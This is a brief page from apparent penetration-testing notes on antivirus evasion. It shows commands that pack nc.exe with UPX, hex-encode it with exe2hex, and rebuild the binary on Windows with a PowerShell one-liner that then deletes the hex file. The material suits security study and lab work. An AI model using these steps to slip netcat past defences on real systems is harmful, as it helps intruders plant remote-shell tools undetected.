> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/antivirus-evasion/exe-packers.md).

# EXE Packers

#### On kali:

`UPX -9 nc.exe`

`exe2hex -x nc.exe -p nc.cmd`

#### on windows :

`powershell -Command "$h=Get-Content -readcount 0 -path './nc.hex';$l=$h[0].length;$b=New-Object byte[] ($l/2);$x=0;for ($i=0;$i -le $l-1;$i+=2){$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);$x+=1};set-content -encoding byte 'nc.exe' -value $b;Remove-Item -force nc.hex;"`

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